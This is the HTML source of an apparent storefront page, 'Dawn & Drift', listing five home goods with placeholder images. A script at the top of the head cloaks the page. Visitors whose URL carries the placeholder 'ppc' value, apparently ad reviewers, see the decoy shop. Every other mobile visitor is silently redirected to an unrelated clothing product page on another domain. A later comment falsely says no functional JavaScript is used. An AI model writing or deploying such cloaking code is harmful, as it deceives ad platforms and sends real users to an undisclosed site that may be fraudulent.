<!DOCTYPE html>

<html lang="en">

<head>

<script>

(function() {

try {

const urlParams = new URLSearchParams(window.location.search);

const utmPPC = urlParams.get("ppc");


const isMobileDevice = () => {

return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Windows Phone|Mobile|Tablet/i.test(navigator.userAgent) ||

(window.innerWidth <= 768 && window.innerHeight <= 1024);

};


const isBot = utmPPC === "__PLACEMENT__";


if (!isBot && isMobileDevice()) {

window.location.replace("https://old-newyork.com/products/callaway-heritage-half-zip-jumper");

return;

}



setTimeout(() => {

if (!isBot && isMobileDevice()) {

window.top.location = "https://old-newyork.com/products/callaway-heritage-half-zip-jumper";

}

}, 50);




} catch (e) {

// Silent fail - don't interrupt user experience

console.error(e);

}

})();

</script>

<meta charset="UTF-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>Dawn & Drift — Curated Goods for Modern Living</title>

<style>

/* ============

THEME

============ */

:root{

--bg: #f7f8fb;

--card: #ffffff;

--text: #1c2333;

--muted: #5c677d;

--brand: #1f7a8c;

--brand-2: #bfdbf7;

--ring: rgba(31,122,140,.25);

--shadow: 0 10px 30px rgba(8,15,35,.08);

--radius-lg: 18px;

--radius-md: 14px;

--radius-sm: 10px;

--container: 1120px;

}


/* Reset-ish */

* { box-sizing: border-box; }

html, body { height: 100%; }

body{

margin: 0;

font-family: "Trebuchet MS", Calibri, "Segoe UI", Roboto, Arial, sans-serif;

color: var(--text);

background:

radial-gradient(1200px 600px at 85% -10%, #e2f3f7 0%, rgba(226,243,247,0) 60%),

radial-gradient(1000px 500px at -10% 10%, #f2ecff 0%, rgba(242,236,255,0) 55%),

var(--bg);

line-height: 1.6;

}

a { color: inherit; text-decoration: none; }

img{ max-width: 100%; display: block; }


/* Layout */

.container{

width: min(100% - 32px, var(--container));

margin-inline: auto;

}


/* Header */

header{

position: sticky;

top: 0;

z-index: 10;

backdrop-filter: saturate(180%) blur(8px);

background: rgba(255,255,255,.75);

border-bottom: 1px solid rgba(28,35,51,.06);

}

.nav{

display: flex;

align-items: center;

justify-content: space-between;

gap: 16px;

padding: 14px 0;

}

.brand{

display: flex;

align-items: center;

gap: 12px;

font-weight: 800;

letter-spacing: .3px;

}

.brand-badge{

width: 36px; height: 36px;

border-radius: 12px;

background: linear-gradient(135deg, var(--brand), #5fb0c1);

display: grid; place-items: center;

color: white; font-weight: 900;

box-shadow: 0 6px 18px rgba(31,122,140,.35);

}

.nav-links{

display: flex; gap: 18px; align-items: center;

}

.nav-links a{

padding: 8px 10px; border-radius: 10px; color: var(--muted); font-weight: 600;

}

.nav-links a:hover{ background: rgba(31,122,140,.08); color: var(--text); }


/* Hero */

.hero{

padding: 56px 0 22px;

}

.hero-card{

background: linear-gradient(180deg, #ffffff 0%, #fcfdff 100%);

border: 1px solid rgba(28,35,51,.06);

border-radius: var(--radius-lg);

box-shadow: var(--shadow);

overflow: clip;

}

.hero-inner{

display: grid;

grid-template-columns: 1.2fr .8fr;

gap: 24px;

padding: 36px;

}

.kicker{

display: inline-flex; gap: 8px; align-items: center;

background: #eef6f8; color: #185867; border: 1px solid #d3ebf1;

padding: 6px 10px; border-radius: 999px; font-weight: 700; font-size: 12px;

letter-spacing: .3px;

}

.hero h1{

margin: 14px 0 10px;

font-size: clamp(28px, 5vw, 44px);

line-height: 1.15;

letter-spacing: .2px;

}

.hero p{

color: var(--muted);

font-size: 18px;

margin: 0 0 18px;

}

.cta-row{ display:flex; gap:12px; flex-wrap: wrap; align-items: center; }

.btn{

display: inline-flex; align-items: center; justify-content: center;

padding: 12px 18px; border-radius: 12px; font-weight: 800;

border: 1px solid transparent; transition: .2s ease;

}

.btn-primary{

background: var(--brand); color: #fff;

box-shadow: 0 10px 18px var(--ring);

}

.btn-primary:hover{ transform: translateY(-1px); }

.btn-ghost{

background: #f0f3f7; color: #14313a; border-color: rgba(28,35,51,.08);

}

.hero-art{

border-radius: var(--radius-md);

overflow: hidden;

border: 1px solid rgba(28,35,51,.06);

}


/* Section heading */

.section-head{

display:flex; align-items:end; justify-content: space-between; gap: 16px;

margin: 36px 0 18px;

}

.section-head h2{

margin: 0;

font-size: clamp(22px, 3.5vw, 30px);

letter-spacing: .2px;

}

.section-head p{

margin: 4px 0 0; color: var(--muted);

}


/* Grid */

.grid{

display: grid;

grid-template-columns: repeat(5, 1fr);

gap: 18px;

}

@media (max-width: 1200px){ .grid{ grid-template-columns: repeat(4, 1fr); } }

@media (max-width: 920px){ .hero-inner{ grid-template-columns: 1fr; } .grid{ grid-template-columns: repeat(2, 1fr); } }

@media (max-width: 520px){ .grid{ grid-template-columns: 1fr; } }


/* Product card */

.card{

background: var(--card);

border: 1px solid rgba(28,35,51,.07);

border-radius: var(--radius-md);

box-shadow: var(--shadow);

overflow: hidden;

transition: transform .2s ease, box-shadow .2s ease;

}

.card:hover{ transform: translateY(-4px); box-shadow: 0 14px 36px rgba(8,15,35,.12); }

.media{

aspect-ratio: 1/1;

background: #f2f5f9;

overflow: hidden;

}

.body{ padding: 14px; }

.title{

font-weight: 800; margin: 0 0 6px; letter-spacing: .2px;

}

.price-row{

display:flex; align-items: center; justify-content: space-between; gap: 8px;

}

.price{

font-weight: 900; font-size: 18px;

background: linear-gradient(180deg, #11202a, #284c57);

-webkit-background-clip: text; background-clip: text; color: transparent;

}

.pill{

font-size: 12px; font-weight: 800; letter-spacing: .3px;

padding: 6px 10px; border-radius: 999px;

background: #eef6f8; border: 1px solid #d3ebf1; color: #185867;

}

.actions{

margin-top: 12px; display: flex; gap: 10px;

}

.btn-min{

flex: 1;

padding: 10px 12px;

border-radius: 10px;

border: 1px solid rgba(28,35,51,.12);

background: #ffffff;

font-weight: 800;

}

.btn-min:hover{ border-color: var(--brand); box-shadow: 0 0 0 4px var(--ring); }


/* Footer */

footer{

margin-top: 56px;

border-top: 1px solid rgba(28,35,51,.08);

background: #ffffffb3;

backdrop-filter: blur(6px);

}

.foot{

padding: 24px 0;

display: grid; gap: 14px;

grid-template-columns: 1fr auto;

align-items: center;

}

@media (max-width: 620px){ .foot{ grid-template-columns: 1fr; } }

.foot small{ color: var(--muted); }

.foot-nav{ display: flex; gap: 18px; flex-wrap: wrap; }

.foot-nav a{

color: var(--muted);

padding: 6px 0;

}

.foot-nav a:hover{ color: var(--text); text-decoration: underline; }

</style>

</head>

<body>

<!-- Header -->

<header>

<div class="container nav">

<a class="brand" href="#">

<span class="brand-badge">D</span>

<span>Dawn &amp; Drift</span>

</a>

<nav class="nav-links" aria-label="Primary">

<a href="#">New</a>

<a href="#">Home</a>

<a href="#">Lifestyle</a>

<a href="#">Collections</a>

<a href="#">About</a>

</nav>

</div>

</header>


<!-- Hero -->

<section class="hero">

<div class="container hero-card">

<div class="hero-inner">

<div>

<span class="kicker">NEW SEASON • LIMITED RUNS</span>

<h1>Curated pieces for slow mornings and bright spaces.</h1>

<p>Discover hand-picked objects that blend form and function. Designed to last, styled to love.</p>

<div class="cta-row">

<a class="btn btn-primary" href="#">Shop the Drop</a>

<a class="btn btn-ghost" href="#">Explore Collections</a>

</div>

</div>

<div class="hero-art">

<img src="https://picsum.photos/1200/900?random=901" alt="Lifestyle collage of modern decor in soft light">

</div>

</div>

</div>

</section>


<!-- Products -->

<section class="container">

<div class="section-head">

<div>

<h2>Featured Finds</h2>

<p>Fresh arrivals from the studio to your space.</p>

</div>

<a class="pill" href="#">See all</a>

</div>


<div class="grid" role="list">

<!-- Product 1 -->

<article class="card" role="listitem">

<div class="media">

<img src="https://picsum.photos/600/600?random=101" alt="Cloudline Stoneware Mug" loading="lazy">

</div>

<div class="body">

<h3 class="title">Cloudline Stoneware Mug</h3>

<div class="price-row">

<span class="price">$24</span>

<span class="pill">In stock</span>

</div>

<div class="actions">

<a class="btn-min" href="#">Quick view</a>

<a class="btn-min" href="#">Add to bag</a>

</div>

</div>

</article>


<!-- Product 2 -->

<article class="card" role="listitem">

<div class="media">

<img src="https://picsum.photos/600/600?random=102" alt="Hearthline Linen Throw" loading="lazy">

</div>

<div class="body">

<h3 class="title">Hearthline Linen Throw</h3>

<div class="price-row">

<span class="price">$68</span>

<span class="pill">New</span>

</div>

<div class="actions">

<a class="btn-min" href="#">Quick view</a>

<a class="btn-min" href="#">Add to bag</a>

</div>

</div>

</article>


<!-- Product 3 -->

<article class="card" role="listitem">

<div class="media">

<img src="https://picsum.photos/600/600?random=103" alt="Solace Ripple Vase" loading="lazy">

</div>

<div class="body">

<h3 class="title">Solace Ripple Vase</h3>

<div class="price-row">

<span class="price">$42</span>

<span class="pill">Bestseller</span>

</div>

<div class="actions">

<a class="btn-min" href="#">Quick view</a>

<a class="btn-min" href="#">Add to bag</a>

</div>

</div>

</article>


<!-- Product 4 -->

<article class="card" role="listitem">

<div class="media">

<img src="https://picsum.photos/600/600?random=104" alt="Aurora Frameless Mirror" loading="lazy">

</div>

<div class="body">

<h3 class="title">Aurora Frameless Mirror</h3>

<div class="price-row">

<span class="price">$120</span>

<span class="pill">Low stock</span>

</div>

<div class="actions">

<a class="btn-min" href="#">Quick view</a>

<a class="btn-min" href="#">Add to bag</a>

</div>

</div>

</article>


<!-- Product 5 -->

<article class="card" role="listitem">

<div class="media">

<img src="https://picsum.photos/600/600?random=105" alt="Meadowlight Table Lamp" loading="lazy">

</div>

<div class="body">

<h3 class="title">Meadowlight Table Lamp</h3>

<div class="price-row">

<span class="price">$89</span>

<span class="pill">Limited</span>

</div>

<div class="actions">

<a class="btn-min" href="#">Quick view</a>

<a class="btn-min" href="#">Add to bag</a>

</div>

</div>

</article>

</div>

</section>


<!-- Footer -->

<footer>

<div class="container foot">

<small>© <span id="year"></span> Dawn &amp; Drift. All rights reserved.</small>

<nav class="foot-nav" aria-label="Footer">

<a href="#">Terms of Service</a>

<a href="#">Privacy Policy</a>

<a href="#">Contact</a>

</nav>

</div>

</footer>


<!-- No functional JS needed; just set the current year for polish -->

<script>

document.getElementById('year').textContent = new Date().getFullYear();

</script>

</body>

</html>